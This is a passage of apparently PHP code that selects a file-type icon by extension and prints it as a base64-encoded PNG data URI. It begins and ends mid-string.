"data:image/png;base64,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"; } elseif ($ext == "png") { echo "data:image/png;base64,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"; } elseif ($ext == "jpg") { echo "data:image/png;base64,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"; } elseif ($ext == "jpeg") { echo "data:image/png;base64,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